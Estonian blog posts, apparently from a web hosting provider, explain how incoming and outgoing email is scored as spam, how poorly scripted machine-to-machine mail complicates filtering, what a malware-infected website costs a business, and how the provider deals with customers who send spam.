Võitlus spämmiga ja seda pärssiv “skriptide internet”

Tänane postitus räägib sellest kuidas “skriptide internet”, millel püsib mõõtmatu kogus äriloogikat ja e-majandust, takistab rämpspostiga võitlemist.

Rämpsposti teemal klienditoe poole pöördujatel on enamasti üks kahest küsimusest:

a) “kuidas saaksite teha nii, et mulle saadetud kirju efektiivsemalt rämpspostina tähistataks/kustutataks”;
b) “kuidas saaksite teha nii, et minu saadetud kirju rämpspostina ei tähistataks/kustutataks”?

Juhtub ka nii, et lühikese ajavahemiku jooksul pöördub nende küsimustega meie poole üks ja sama inimene.

Hulk probleeme, mis raskendavad nende kahe küsimuse vahel taskaalu leidmist pärineb allikast mida kutsume “skriptide internetiks”.

Aga enne selleni jõudmist, väike minikursus teemal …

“… kuidas kirju spämmiks märgitakse?”

Kiri liigub saatjalt adressaadini läbi mitme erineva serveri, tekitades sellega sammude ahela, mille iga lüli võib kirja ühel või teisel viisil “spämmisuse” suhtes kontrollida.

Saatja MUA ehk meiliklient võtab ühendust oma MSA-serveriga (Mail Submission Agent), autendib end ja annab kirja üle. MSA omakorda võtab ühendust väljuva MTA-serveriga (Mail Transfer Agent), mis on kirjade transportimise server. MTA salvestab kirja järjekorda ning üritab seda esimesel võimalusel edastada vastuvõtja MX-serverile (Mail Exchange), mis omakorda annab selle üle MDA-serverile (Mail Delivery Agent) ja lõpuks jõuab kiri saaja postkasti, kust saaja saab oma MUA-meilikliendi abil kirja lugeda.

Seda, kui “spämmine” kiri on, kontrollitakse enamasti järgmiste etappidena:

1. Sõnumitooja kontroll

Esimene tase on kontrollida mitte sõnumit, vaid sõnumitoojat. Näiteks kui kirja saatev server on mitmes mustas nimekirjas, võib kiri sattuda spämmiks juba ilma, et keegi selle sisu üldse vaataks. Kusjuures saatev server või õigemini serveri poolt kasutatud IP aadress ei pruugi ise olla kunagi midagi halba teinud, aga ikka peetakse seda kahtlaseks.

Tavaliselt on siis tegu kas mingi suurema IP vahemiku või veel hullemal juhul terve teenusepakkuja (ASN-numbri alusel) sattumine mõnda musta nimekirja. Mustad nimekirjad ei ole samas absoluutsed, neid võib pidada igaüks ning nimekirja haldaja võib koostada neid nagu ise heaks arvab. Oluline on, et kui paljud teised teenusepakkujad mõnd konkreetset listi usaldusväärseks peavad ning seda oma spämmikontrolli protsessis kasutavad. Sellist kontrolli tehakse samas pigem sisenevate kirjade puhul, kuna väljuvate jaoks peab kasutaja end reeglina autentima ja sellisel juhul ei ole saatja IP nii oluline.

Kui ühenduse avamine on lubatud, siis edasi vaadatakse sõnumitooja käitumist, et kas see ikka kasutab korrektset SMTP-protokolli. SMTP-klient peab ootama korrektselt oma rääkimiskorda, isegi kui server vastustega venitab. Klient peab kasutama enda tutvustamisel õiget domeeninime, ei tohi kasutada tundmatuid SMTP käsklusi, ei tohi saata kirja liiga paljudele tundmatutedele aadressidele jne. Mõned süsteemid kontrollivad ka TCP ühenduse sõrmejälge, et tuvastada kas saatjaks on meiliserver, või hoopis töölauaarvuti. Iga vea või mittevastavuse eest annab vastuvõttev server kas spämmipunkte või suuremate vigade korral katkestab üldse ühenduse ja keeldub kirja vastu võtmast.

Kui protokolli kontroll on läbitud, vaatab vastuvõtja juba SPF-kirjet ja selle vastavust. Juhul kui MAIL FROM käsus kasutatud saatja domeeninimel on seatud nimeserveri SPF-kirje, saab selle järgi kontrollida, kas saatja IP aadressilt ikka tohib sellist domeeninime kasutades kirju saata või mitte. Kui kliendi IP aadress on 217.146.66.121 ning e-posti aadressiks andris@zone.ee, siis kõik sobib, kuna zone.ee SPF-kirje lubeb muu hulgas ka 217.146.66.121 aadressi kasutamist. Kuna SPF on mitme vastavustasemega, siis siin jälle sõltub erinevatest asjaoludest, et kas server laseb kirja niisama läbi, keeldub seda üldse vastu võtmast või lisab mõned spämmipunktid.

2. Kirja vormistuse kontroll

Kirja enda puhul on kontrollitavaid parameetreid veelgi rohkem. Üheks olulisemaks asjaks on kirja vormistus, kas see kiri ikka näeb RFC822 formaadis kirja moodi välja või mitte. Kirjal peab olema From aadress saatja andmetega, Message-ID unikaalne identifikaator, kuupäeva Date väli, protokollist tulenevalt peavad reavahetused kasutama nn. Windowsi stiili ehk baite 0x0D+0x0A (carriage return + newline) jne. Iga puuduv või valesti vormistatud osa annab spämmipunkte. Tüüpiliseks vale vormingu näiteks on vigane kuupäevaväli (peab olema “Wed, 14 Dec 2016 10:58:26 +0200” aga on hoopis “2016-12-14 10:58:26”) või siis Message-ID puhul väiksem-kui ning suurem-kui märkide puudumine või kui väärtus ei kasuta e-kirja aadressi süntaksit (peab olema “<unikaalne-id@domeen>”, aga on “unikaalne-id”).

3. Krüptograafiliste allkirjade kontroll

Kui kirja vormistus vastab enamvähem nõuetele, siis vaadatakse ka selle sisu. Kas From real oleva aadressi (mitte segi ajada SMTP-ümbrikus kasutatud MAIL FROM aadressiga, mis moondub ühel hektel hoopis Return-Path väärtuseks) domeenile on seatud DMARC nimeserveri kirje või mitte? Kui on, siis kontrollitakse uuesti SPF-kirje vastavust, aga seekord juba From välja alusel. Lisaks vaadatakse kas kirjal on sobiva domeeni DKIM-alkiri.

Selle koha peal võib server kirja tagasi lükata ka siis, kui kirjal spämmipunkte üldse ei ole. Kui DMARC-kirje ütleb, et vigane kiri tuleb tagasi lükata, siis server seda suure tõenäosusega ka teeb. Vigaseks teeb kirja vale SPF (võib juhtuda näiteks, kui kiri saabub hoopis mõne meililisti kaudu) ja vale DKIM (reeglina juhtub siis, kui kirjal pole üldse vajalikku DKIM-allkirja, kuna kiri liikus selliseid kanaleid pidi, kus allkirjastamist ei toimu, näiteks läbi oma ISP väljuva SMTP-serveri kirju saates).

Edasi vaadatakse läbi ka kirja kõik muud DKIM (DomainKeys Identified Mail) krüptograafilised allkirjad. Selliseid allkirju võib olla kirjal palju, erinev allkiri iga seotud serveri kohta. Üks allkiri saatja aadressi domeeni jaoks, teine teenusepakkuja MTA-serveri jaoks, kolmas mingi statistika jaoks jne. Gmail Postmaster Tools veebiliides näitab teenusepakkujatele infot kirjades sisalduvate DKIM-domeenide alusel ja seega on mugav koondada kõikide oma süsteemi läbivate kirjade info kokku, kasutades kõikides väljuvates kirjades ühist DKIM-allkirjadomeeni.

DKIM-allkirja kontrollimiseks vaatab server kirja päises olevat allkirja päisekirjet, otsib sellest allkirja domeeni, läheb küsib domeeni nimeserverist allkirjale vastava avaliku võtme ja kontrollib saadud võtme abil allkirja kehtivust. Kui allkiri on vigane, siis saab kiri jälle spämmipunkte, aga mitte väga palju, kuna katkised allkirjad on suhteliselt tavaline nähtus, selle lõhkumiseks piisab vaid ühest muutunud bitist. Näiteks kui kiri läbib mõnd meililisti, mis lisab kirja lõppu meililisti info või läbib MS Exchange serverit, mis võib vahetada TAB sümbolid tühikute vastu, siis võibki allkiri katki minna, sõltub jälle erinevatest asjaoludest (osad DKIM formaadid taluvad selliseid tühikute-tab’ide vahetusi, osad mitte).

4. Sisuanalüüs

Kirja tekstilise osa analüüs jaotub suures plaanis kaheks. Esimene pool on algoritmilised kontrollid ja teine pool on kirja võrdlemine varasemalt teada oleva spämmiga. Algoritmiliseks kontrolliks võiks olla näiteks phishingu-linkide (ehk need lingid, mis suunavad “ganzapanga” lehele paroole sisestama) otsimine, kus võrreldakse HTML koodi lingis olevat URL’i selle kuvamise aadressiga ning kui need ei klapi, siis antakse spämmipunkte.

<a href="www.aaa.com">www.bbb.com</a>

Kõiki linke kontrollitakse lisaks veel phishingu andmebaaside pihta ning kui link tõesti mõnes phishingu baasis eksisteerib, siis antakse kirjale jälle tublisti spämmipunkte juurde. Siin on küll mõningane valepositiivsete tulemuste tekkimise võimalus, seega sellise lingi olemasolu üksi kirja tagasi lükata ei tohiks.

Teksti võrdlemine teadaoleva spämmi vastu on üks parimaid, aga samas ka segasemaid meetodeid. Levinuimaks klassifitseerimismeetodiks on Bayesi filter, mille puhul võrreldakse kirjas sisalduvaid sõnu teadaolevate spämmikirjades sisalduvate sõnade ja fraaside vastu ning mida erinevam on kirja sisu tavalisest spämmist, seda suurema tõenäosusega polegi tegu spämmiga. Segaseks teeb selle kontrolli asjaolu, et inimesena on raske öelda, miks spämmikontroll mingit kirja spämmiks peab või mitte, sest oma silmaga vaadates võib see paista üsna tavaline kiri. Kuna algoritm ja andmed ei ole ülearu keerukad, siis on võimalik see hea tahtmise korral siiski tuvastada. Hoopis teine asi on juba neuraalvõrkude põhise kontrolliga, mis on väga efektiivne, aga kus ei saa enam keegi ilmselt aru, et miks spämmikontroll mingit kirja spämmiks peab või mitte.

5. Viirusekontroll

Kõige viimasena saadetakse kiri ka veel viirusekontrolli, kus vaadatakse üle kirjas olevad manused ning kohati ka kirja tekstiosa, kui viirusekontroll oskab sellest näiteks phishingut vmt. tuvastada. See on võibolla ka kõige jäigem kontroll üldse, sest kui kirjast leitakse teada olev viirus, siis siin nagu polegi enam midagi mõelda, sellise kirja koht ei ole postkastis. Samas ka viiruste puhul on suhteliselt tavalised erinevad valepositiivsed tulemused, näiteks kui leitakse pakitud ZIP-faili seest kahtlase nimega fail, aga selle sisu täpsemaks uurimiseks pole enam mahti. Sellisel juhul antakse kirjale pigem spämmipunkte, et see satuks spämmikausta, aga tagasi lükkama ka ei hakata.

6. Lõppotsus

Erinevaid reegleid, mida spämmi tuvastusel kontrollida, on sadu ja kõiki siin välja tuua ei jõuakski. Üldpõhimõte on see, et iga reegel annab kas negatiivseid või positiivseid spämmipunkte ning peale kõiki kontrolle lüüakse need punktid kokku ja saadud tulemus ütlebki, et mida kirjaga edasi teha.

Kui kiri pole üldse spämmipunkte saanud, siis võib selle lihtsalt niisama vastu võtta. Kui mingeid punkte on siiski tulnud, aga mitte piisavalt, et kirja spämmiks lugeda, saab kasutada nn. greylistingut, kus saatjale vastatakse ajutise veateatega ja lastakse seega sama kiri mõne aja pärast uuesti saata (spämmerite süsteemid tihti uuesti saatmist teha ei suuda).

Kui punkte on juba rohkem, siis võetakse kiri küll vastu, aga paigutatakse see spämmikausta, jättes sellega lõpliku otsustamise adressadi enda kanda. Kui punkte on juba väga palju, näiteks leiti kirjast viirus, see on kehvasti vormistatud ja tekstisisu sarnaneb spämmiga, siis ei võeta seda kirja võibolla üldse vastu, vaid keeldutatakse teatega, et kiri paistab olevat spämm.

Spämmikontroll väljuvatel ühendustel

Spämmitõrje igal tasandil on muidugi mõistlik tegevus ja seega hakkasime hiljuti rakendama seda lisaks sisenevatele kirjadele osaliselt ka väljuvate kirjade puhul. Teenusepakkujana on meie probleemiks häkitud kontod, kus kasutaja veebileht võetakse pahalaste poolt ära või lähevad meilikonto paroolid jalutama vmt. tegevused ning mille tõttu hakatakse ühtäkki meie võrgust spämmi laiali saatma. Tagajärjeks on meie väljuvate IP aadresside sattumine mustadesse nimekirjadesse ja seega tekivad probleemid ka teiste klientide kirjade edastamisel, mis liiguvad samade IP aadresside kaudu.

Esimene kaitse musta nimekirja sattumise vastu on hajutada saatmisel kirju erinevate IP aadresside vahel, mis võimaldaks võtta musta nimekirja sattunud IP kuni asjaolude selgitamiseni rivist maha (ZoneMTA oskab teha seda automaatselt, nii et ühe IP sattumine musta nimekirja ei tähenda suures plaanis veel suurt midagi). Kuid võibolla olulisemgi oleks üldse vältida spämmi saatmist (kuigi päris täielikult välistada seda muidugi kunagi ei saa), eelkõige kasutades spämmikontrolli.

Paraku ei ole miski liiga lihtne. Maailm on muutunud, e-posti ei kasutata enam ammu ainult personaalseks suhtluseks, üha rohkem ja rohkem on see uudiskirjade, automaatsete teadete, parooli meeldetuletuste jms. maailm. Väljuva liikluse puhul spämmikontrolli teostamine on sisenevast keerukam, kuna eksimisruumi on vähem. Juhul kui kiri paistab kahtlane, siis ei saa seda panna spämmikausta. On vaid üks valik – saata kiri edasi või mitte.

Ja nii jõuamegi müstilise “skriptide internetini”

Meie kasutajad saadavad välja igasugust e-posti. Loomulikult on jätkuvalt olulisimal kohal tavasuhtlus ehk käsitsi kirjutatud kirjad. Viimasel ajal on suur osa kirjadest siiski masinate koostatud, osaliselt on need lausa masin-transaktsioonid, kus ühe masina skripti poolt saadetud kiri tekitab vastuvõtmisel mingi tegevuse teise masina skriptis.

Lisaks võidakse selliste kirjade transpordiks kasutatada neidsamu kontosid, mida kasutatakse ka Webmaili, Outlooki ja muude meiliklientide poolt ehk kus peaks eelkõige liikuma niiöelda “tavakirjad”.

Näiteks kasutab mõni inimene WordPressi (fiktiivset, kuid reaalsele elule lähedast) pluginat NutisaunPro™®, kus veebilehe tarkvara saadab vajalikul hetkel nutisauna kerisele e-kirja, milles sisaldub käsklus keris kuumaks ajada ning nutikeris saadab omakorda vastuskirja, kui soovitud temperatuur on käes. Paraku on need kirjad saadetud PHP mail() käsu abil ning kirja vormistamise skript on kopeeritud HotScripts lehelt PHP kirjade saatmise kategooriast.

Masinate vahelises suhtluses ei tähenda see suurt midagi, kõik toimib, aga kui hakkame sellisele kirjale siseneval või väljuval suunal rakendama spämmivastast kontrolli sarnaselt tavalistele kirjadele, ajab see kõik mõõdikud punaseks järgmistel põhjustel:

  • tõenäoliselt asub nutisaun IoT-seadmena mingis kummalises võrgus, kus pole seatud korrektseid tagurpidi reverse DNS-kirjeid;
  • kirja vormistus on kopipasta tõttu ebakorrektne, puudu on vajalikud päised;
  • teksti kodeering pole korrektselt määratud;
  • kirja sisu on lühike ja segane, tekitades Bayesi kontrollis selle vastu liigset huvi;
  • DKIM allkirja pole lisatud;
  • SPF kirjet ei eksisteeri;
  • DMARC kirjet pole
  • jne.

Spämmifiltreid karmistada ei saa, sest nutisaunade omanikud on kurjad, koju jõudes ootab ees külm saun – keris ei ole vajalikku e-kirja kätte saanud.

Nii tekib olukord, kus selliste “nutisaunade” poolt kasutatavate skriptide kvaliteet saab ühiseks nimetajaks, mille järgi rämsposti on võimalik filtreerida. Loomulikult pääsevad siis liig-kõrge lävendi tõttu efektiivsemalt läbi hästi vormistatud päris spämmikirjad.

Siinkohal kasutatud fiktiivne “nutisauna” näide võib tunduda jabur, aga uskuge meid, reaalsus on jaburam. E-posti on (äri)protsessidesse sisse kirjutatud imelistesse kohtadesse.

Oleks siis veel tegu mõne üksiku juhtumiga, aga kui aus olla, siis oleme avastanud, et meil pole tegelikult õrna aimugi, kui palju ja milleks kõigeks e-posti infrastruktuuri üldse kasutatakse.

Kasutan siinkohal võimalust pöörduda arendajate poole. Kui soovite oma postkastis näha vähem spämmi, palun ärge toitke “skriptide internetti” koodiga, mis kasutab e-posti selleks, milleks ta algselt mõeldud ei ole.

Veebi turvalisusel on ka äriline mõõde

Sageli ei võeta veebiga seotud pahavarahoiatust tõsiselt – ah mis sealt ikka võtta on, kui mul Outlookis post käib võite veebiserverist spämmi saatmise lihtsalt kinni keerata. Aga tagajärjed võivad kesta kaua.

Willem De Grooti blogipostitus 5900 online stores found skimming (eestikeelne meediakaja: Mitmed tuntud Eesti veebipoed on nakatatud pahavaraga, mis varastavad sinu krediitkaardi andmed) on krediitkaardiandmeid kurjategijatele saatva pahavaraga nakatunud e-poodide nimekirja paari jõudsalt kahandanud: 5900st on pea 2000 tänaseks ära puhastatud.

Loodetavasti tekitas tuntud nimede nägemine ka paljudes teistes vajaduse oma veebid üle vaadata – kui ei, siis paneme aga hagu alla ja vaatame, kuidas pahavara mõjutab mitte ainult ettevõtte mainet, vaid kõiki neid netiturundusega seotud asju mille nimel me nii kõvasti pingutame. Ehk anname sellele loole ärilise mõõtme ning mõtleme lõpuks selle peale, mis võiks olla lahenduseks.

Kuna Timo Porval Lavii.ee‘st küsis meil Zones külas olles “aga mis siis ikkagi juhtub, kui veeb on nakatatud” – siis tegime koos ka ekspromt-videoloengu mis sai oluliselt pikem, kui allolev tekst.

Kõik järgnevad anonüümsed näited on muidu igati eeskujulike Eesti ettevõtete veebidest – aga neid ühendab mingil hetkel uuendamata jäänud veebitarkvara ning pahavara, mis saadab rämpsposti, avaldab otsimootori-spämmi ehk peidetud linke või suunab kasutajad edasi saitidele, mis tegelevad nende arvutite nakatamisega.

Veebiserver saadab spämmi

See on sageli esimene töö, mis pahavaraga veebisaidile antakse – lisatud programmijupp saab perioodiliselt pöördumisi, mille sisuks on saatmist vajav rämpspost ja selle saajate nimekiri. Kui lasta sellisel saatmisel mõnda aega toimuda, siis hakkavad juhtuma järgmised asjad:

  • suuremad postiteenused nagu Gmail tuvastavad spämmi saatva IP-aadressi ja domeeni ning hakkavad nende pealt saabuvat e-posti tagasi põrgatama
  • varem või hiljem märkavat saatjat ka SpamCom, SpamHaus jt ning lisavad need ka oma musta nimekirja – ning nende teenust kasutavad juba paljud väiksemad postiteenused

Need piirangud puudutavad mõistagi mitte ainult spämmi, vaid kõiki kirju mida veebiserver saadab: e-poe tellimused, kontaktivormide teavitused, parooli-muutmise ja uue kasutaja registreerimise kirjad jne.

Aga see ei ole veel kõik: kui oled varem selleks, et vajalik post ikka Gmaili kohale läheks lisanud oma domeenile SPF- ja DKIM kirjed mis näitavad, et sellest serverist võib sinu nimel kirju saata… siis on postiteenustele võimalik märkida su domeeni reputatsiooniks “spämmer”, sest väljunud kirjad on ju varustatud domeeni digitempliga.

Google Postmaster Tools
Ühe spämmi saatva pahavaraga e-poe Google Postmaster Tools graafik – 13. oktoobri keskpäeval eemaldati sealt Nimbusec’i abil tuvastatud failid, tänaseks on graafik nullis ehk rohkem sealt spämmi ei saadeta, küll aga läheb aega, kuniks selle domeeni posti enam spämmiks ei loeta.

Nüüd ei ole see sinu jaoks enam tehniline, vaid äriline probleem.

Meie jaoks on mure aga laiem: kui kasutad virtuaalserverit, mille puhul sama IP-d jagab suurem hulk kliente, siis mõjutab IP sattumine musta nimekirja ka kõiki ülejäänuid. Selle vältimiseks on ka meil omad filtrid, mis märkavad spämmi ja keelavad sinu serveril saatmise. See on “hädatapp”, mis loodetavasti aitab vältida suuremat kahju ka sinu domeenile. Aga need kontaktivormid ja tellimused… ei lähe ikkagi kuhugi.

Veebiserver osaleb otsimootori-spämmis

Kui kirjade saatmine on blokeeritud tuleb kurjategijatel sellele uus rakendus leida. Üks võimalus on sokutada lehtedele linke nende poolt reklaamitavatele teenustele – harilikult on nendeks “kanada apteegid”, eskort-teenused ja muu hämaramat sorti äri. Pahavara on seejuures piisavalt nutikas, et kuvada neid linke vaid otsimootoritele, sest igaühele nähtav link oleks märk sissetungist ja võiks viia saidi puhastamiseni.

Sinu jaoks on ka sellel probleemil selge hind – nimelt jälgivad otsimootorid nii sisenevaid kui väljuvaid linke ning proovivad selle alusel ennustada, kas sisu vastab sinu äriga seotud sõnu otsivate kasutajate soovile. Nii võib juhtuda, et vaatamata pingutustele satud ürtidega rikastatud käsitöö-seebi kategooriast kahtlaste taimsete toidulisandite alla ning kaotad vaevarikka SEO-tööga otsimootorites saavutatud positsiooni.

Seda muidugi vaid juhul, kui otsimootor ei märka spämm-linke. Kui märkab, siis määratakse saidile karistus – pagerank tõmmatakse alla ja positsioon … koos sellega. Kui oled seadistanud Google Search Console, siis tuleb selle kohta loodetavasti ka teavitus. Kui ei, siis võid nädalate kaupa analüütikat vaadata ja imestada, et kuhu küll need külastajad järsku kadusid.

Webmaster Tools - hidden links
Google on tuvastanud peidetud lingid ühe majutusasutuse veebis. Pilt ajast, kui täna Google Search Console nime kandev tööriist oli veel Webmaster Tools. Sarnaseid tööriistu on ka teistel, näiteks Bing Webmaster Tools.

Veebiserver jagab pahavara

Post ei toimi, otsimootori-positsiooniga on kah kehvasti – aga kas saab ka hullemaks minna? Ikka! Sellist veebi saab endiselt ära kasutada külastajatele pahavara jagamiseks või kasutaja-andmete õngitsemiseks. Nime järgi tuleb mingi hulk külastajad ikka kohale, aga võib ka kuhugi peita ühe Gmaili avalehega sarnaneva võlts-logini ning spämmi abil külastajad kohale meelitada.

See on juba karmim kuritegevus ja vastavaid lehti proovivad leida erinevad turva-ettevõtted, aga ka Google’i otsimootori indekseerija. Sa näed vaeva, et Google sind külastaks – ja esimese asjana kaevab ta uksemati alt välja laiba ja teatab sellest kõigile.

Google Safe Browsing
Chrome kuvab pahavara sisaldavat saiti külastavale kasutajale hoiatust. Oma v või konkurendi – saidi olekut saab kontrollida Google Safe Browsing lehel, mitmest nimekirjast otsimiseks on hea kasutada VirusTotal’it. Kui saidiga on seotud mõne otsimootori webmaster tools, siis leiab sealt täpsema selgituse ja e-postile tuleb ka automaatne teavitus.

Kui sait ära puhastada ja Google’i Search Console’is paluda tulemus üle vaadata, siis reeglina saab 72 tunniga hirmsa punase palaka maha ja äri uuesti käima.

Aga võib ka minna hullemini – kui piisavalt kiiresti ei reageeri, võivad jaole jõuda ka teised musta-nimekirja-pidajad ning kõigi nende avastamine ja ükshaaval teavitamine on päris mahukas töö.

Kevadel aitasin ühte klienti (saidi puhtus käsitsi üle kontrollitud) ning tulemus oli selline:

  • sait puhastatud märtsi algul, kõik korras, Google toimib
  • 16. märts teatab külastaja, bing.com otsimootor hoiatab pahavara eest; vaatamata korduvatele katsetele õnnestub sealne review alles pärast jaanipäeva (Bing ühtegi näidet pahavarast ei paku)
  • 30. märts teatab teine külastaja, et tema antiviirus/tulemüür keelab mõnede alamlehtede külastamise – ja sellest süsteemist tulebki lehti ükshaaval eemaldada, fortiguard.com nimekirja kõigist nende meelest probleemsetest URLidest ei paku ja abi saame vist ainult tänu maaletoojale (aprilli keskel)
  • 28. augustil tuleb teade Kaspersky’lt, et nüüd on nemad kah selle kevadise probleemi avastanud ja asuvad blokeerima, me ei leia esimesel katsel isegi kohta kust seda eemaldada – ning kohale kust lõpuks teatame ei järgne Kaspersky poolt mingit tegevust

Pool aastat on möödas ja sõltuvalt kasutatavast otsimootorist, viirusetõrjest või tulemüürist satuvad kliendid endiselt teate otsa, et sait on ohtlik.

Olgu öeldud, et algne nakatamine toimus pool aastat enne märtsikuist avastamist. Nakatati sait kahe nädala jooksul, mil ta polnud isegi veel avalik ja asus veebis alamkataloogis /uus. Ilmselt oli vana veeb pahavara täis ja selle “operaatorid” märkasid kiiresti, et tulemas on uus versioon ning sellist võimalust ei saa kasutamata jätta.

Aga see pole veel kõik – rünnak sinu firma vastu

Kuigi eelnev peaks andma juba piisavalt põhjust oma neti-turvalisus oluliseks ärihuviks tõsta, on mul pakkuda veel üks võimalus sinu veebi kurjasti ära kasutada ja sedapuhku on sihtmärgiks sinu firma, selle pangakonto, kliendinimekiri, sisevõrgus olevad andmed … ja kindlasti veel midagi, mis mulle hetkel pähe ei tule, küll aga mõnele kriminaalsele geeniusele.

Clarified Security Hands-on-Hacking turvakoolituste stsenaariumid põhinevad reaalsetel juhtumitel ja NATO Locked Shields küberõppusel vaenlase mängimise kogemustel ning algavad justnimelt ettevõtte veebilehe ülevõtmisest.

Nii saab kurjategija rahulikult, omas tempos profileerida veebiga tegeleva töötaja brauseri ning leida sobiliku turva-augu – aga võibolla pole seda isegi vaja, sest kui sisselogimise lehte veidi muuta saab kätte ka parooli, mida ta seal kasutab… ja võibolla ka mujal, näiteks e-postis.

Logides sisse postkasti näeb kirjavahetust ja kontakte – vahest saadaks raamatupidajale maksmiseks mõne arve või paluks enne palgapäeva avanssi, kandmisega “tuttava kontole, väga delikaatne teema, palun ära küsi”? Või faili, mis nakatab ta arvuti pahavaraga… sest kuigi “kummalisi kirju” ei avata ei kehti see reegel ju juhul, kui kolleeg saadab pisikeste parandustega versiooni Wordi dokumendist, mille olid talle ise tund tagasi saatnud.

Mis on siis lahendus?

Lahendus hakkab pihta hulk aega enne seda, kui mõni ülalkirjeldatud probleemidest endast märku annab.

Kui tellid veebilehe, siis tuleks kohe kokku leppida ka see, kes ja millise raha eest hakkab seda järgmistel aastatel hooldama – mõistlik on panna selleks kõrvale vähemalt ühe töötunni raha kuus (sõltuvalt tegijast vahemikus 35-75€+km, aga odavamate puhul tuleks ilmselt arvestada mitme tunniga) või mingi protsent veebitegemise hinnast (näiteks 10-20% aastas, nagu põhivara amortisatsioonil).

Ise tehes on raha raskem arvestada ja nokitsemise tunnid mööduvad kiiremini kui arvad – aga rehkendades jõuame me lõpuks ikka sarnaste numbriteni välja ja virtuaalserveri eest küsitav 4,80€+km on ilmselt kõige väiksem kulu, mis sul veebiga seoses kanda tuleb. Eriti kui arvestada, et keerulisem probleem nõuab abiväge ning sageli ei anna “tuttav itimees” oodatud tulemust, sest kuigi abivalmis (ja mis peamine – soodne) ei ole ta otseselt veebimeister ning kogemus nähtamatu vaenlasega võitlemiseks puudub.

Kui oled nõus natuke maksma – no ütleme, et teise 5€ kuus lisaks – siis pakuks sulle Voog’i, mille puhul on küll võimalused piiratumad, aga veeb on see-eest ehitatud üles nii, et keegi teine sinna koodi laadida ei saa. Välimust aitavad vajadusel tuunida nende partnerid, aga veeb püsib ise püsti ja ei vaja pidevat paikamist.

Majutades meie juures oma WordPress’i, Joomla!’t, Durpal’it või Magentot saab need lisada (või juba algusest peale paigaldada) Zone+ haldusesse mis tagab pideva uuendamise ja turvatunde – ning lisada 2€+km eest kuus Nimbusec’i, mis skannib kord nädalas veebis olevad failid üle ja annab lootust, et leiad pahavara leiab üles enne Google’it.

Sealt edasi hakkab aga kallimaks minema – korralikum WordPressile keskendunud majutus algab 30€ kandist, Sucuri või CloudFlare “turvateenuste” odavam pakett on 15-20€ aga üldiselt ilmneb peagi, et selle eest saab vaid “basic security” mis mõeldud väiksemale blogijale.

Ja me oleme jälle tagasi selle “enamvähem 1 töötunni hind” juures. Võibolla on parem, kui selle saaks endale sinu veebimeister, ikkagi omakandi tegelane kes teab ja tunneb enda ehitatut?

Aga sama suurusjärk kehtib ka meie, Zone puhul – “töötunni eest kuus” saame lisada turvalahendusi, muuta WordPressi seaded turvalisemaks, pakkuda seadistusi tulemüürile ning tagada, et probleemi avastame meie ja helistame sulle, mitte vastupidi.

Sellist paketti meil hetkel avalikus hinnakirjas pole, sest tegu on väga eksklusiivse tootega. Aga kirjuta mulle peeter@zone.ee ja vaatame, mida teha annab 😉

Mis juhtub nende klientidega, kes spämmi saadavad?

Virtuaalserver tundub olema üks lihtsalt võrreldav teenus – igal pakkujal on tabelis hind ja mingid gigabaidid, paned need ritta ja tulemus käes.

Tegelikult kuulub aga teenusesse hulk asju, mida tabelis atraktiivselt lahti ei seleta. Näiteks see, kuidas me hoiame oma servereid puhtana nii spämmeritest kui muust probleeme tekitavast – vajadusel loobudes mõnest kliendist, et teistele paremat teenust pakkuda.

Tänane hommik algas näiteks sellise kirjaga:

spamhaus-epost

Ehk siis üks meie serveritest sattus musta nimekirja, kuna viidatud domeeni/veebi/virtuaalserveri omaniku nimel saadeti spämmi. Ja nimekirjast välja pääsemiseks tuleb meil täpselt selgitada, kuidas probleem lahendatud sai. Senikaua võib olla probleeme kõigist selles serveris majutatud veebidest saadetava postiga – see satub spämmikausta. Mida kiiremini ja resoluutsemalt me sellistele kirjadele reageerime, seda kiiremini saame listist välja.

Sageli on tegemist lihtsalt teadmatusega – kui kuulatakse siis harime, kui küsitaks aitame veebi pahavarast puhastada ja turvata. Ja kui keegi spämmi-agentuuri reklaami õnge on läinud – laseme esimesel korral digiallkirjastada no-spam deklaratsiooni selle kohta, et ta on kehtiva regulatsiooni ja hea tavaga tutvunud, oma eksimusest aru saanud ja lubab edaspidi viks ja viisakas olla:

Kinnitus
e-posti saatmise reeglitega nõustumise kohta

Käesolevaga kinnitan, et olen teadlik ja järgin e-posti saatmisel Euroopa Liidu direktiive, Eesti Vabariigi seadusi ja Andmekaitse inspektsiooni juhist “Elektrooniliste kontaktandmete kasutamine otseturustuses” (vt Lisa 1), Zone Media OÜ Serveriteenuste üldtingimustes sätestatut ning internetikasutuse head tava.

Mõistan, et ükski ostetud, renditud, veebide skaneerimise kaudu kogutud või mistahes muul viisil peale kasutaja selgesõnalise nõustumise saadud list ei ole lubatud.

[ Täistekst, lisa seaduse-viidetega ja allalaetavad versioonid leiab lehelt No-spam deklaratsioon ]

Vahel aga allkiri ei aita – sellise kliendi tunneb ära sellest, et tema ise või tema poolt kasutatav spämmi-firma hakkab käima välja põhjuseid, miks nende saadetav ei ole spämm:

  • “aga see ei ole ju saadetud teie serverist, ärge muretsege”
  • “me saatsime mobiiltelefoni IP pealt, ärge muretsege”
  • “nende kirjade saatja aadressiks on hoopis üks gmaili konto, ärge muretsege”
  • “me võtsime nüüd kirjast veebiserveri aadressi maha, ärge muretsege”

Kuna meil puudub absoluutselt igasugune soov muretseda – ja me tahame, et oma e-posti kohalejõudmise pärast ei peaks muretsema ka meie head kliendid – siis saab sellise leelo peale olla vaid üks lühike vastus:

Sulgeme Teie virtuaalserveri korduva spämmi saatmise tõttu. Hetkel takistate Te meil teenuse pakkumist teistele klientidele ja rikute sellega lepingut.

Näeksime meeleldi, kui leiaksite ka oma domeenide jaoks lähemal ajal mõne teise registripidaja.

Sõltumata kasutatud trikkidest leiavad Spamhaus jt suurema vaevata üles selle, kelle nimel spämmi saadetakse, ja panevad süümepiinadeta blacklisti vastav serveri IP – kui aga teenusepakkuja oma majas korda ei suuda luua, siis vajadusel ka suurema hulga IP-aadresse.

Kas see piirab kellegi sõna- või ettevõtlusvabadust? Me kontrollime saabunud raportite paikapidavust ja kui vaja, siis seisame õiguse ja vabaduse eest. Kui aga tegemist on tõesti spämmeriga – siis on tal võimalik kasutada põhiõigust leida küberruumi hämaratest nurkadest teenusepakkuja, kes ei pea enam muretsema, sest ta juba on blacklistis (ja küllap teda teatakse nimeliselt). Korduva rikkumise korral tuleb uuele teenusepakkujale abuse-teavitus ka ilma uut spämmikampaaniat alustamata – “teie juurde saabus see-ja-see, siin on nimekiri põhjustest miks ta kolis”.

